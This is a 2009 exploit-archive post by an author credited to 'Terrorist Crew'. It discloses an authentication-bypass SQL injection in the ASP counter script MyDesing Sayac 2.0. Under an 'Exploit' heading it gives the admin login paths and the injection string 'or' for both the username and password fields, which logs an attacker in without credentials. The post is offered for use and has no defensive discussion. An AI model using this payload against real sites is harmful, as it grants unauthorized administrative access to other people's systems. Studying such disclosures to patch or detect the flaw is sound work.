MyDesing Sayac 2.0 (Auth Bypass) SQL Injection Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : MyDesing Sayac 2.0 (Auth Bypass) SQL Injection Vulnerability
# Published : 2009-02-03
# Author : Kacak
# Previous Title : WEBalbum 2.4b (photo.php id) Blind SQL Injection Exploit
# Next Title : 4Site CMS <= 2.6 Multiple Remote SQL Injection Vulnerabilities

#############################################
#---- BY KACAK FROM TERROR?°ST CREW        ----#
#############################################

[~]Author : Kacak

[~]Team : Terrorist Crew / Peace Crew

[~]Contact : BuqX@hotmail.Com

[~] Hava Serin Mevzu Derin :D

#############################################

[~]Script :MyDesing Sayac v2.0

[~]Site :http://www.mydesign.gen.tr/myforum/forum_posts.asp?TID=90

[~]Download :http://www.aspindir.com/goster/2801

[~] Vulnerability : (Auth Bypass) Sql ?°njection

#############################################

  ~ Exploit ~

www.site.com/admin/admin.asp

www.site.com/PATH/admin

UserName : 'or'

Pass : 'or'


#############################################

# www.Syue.com [2009-02-03]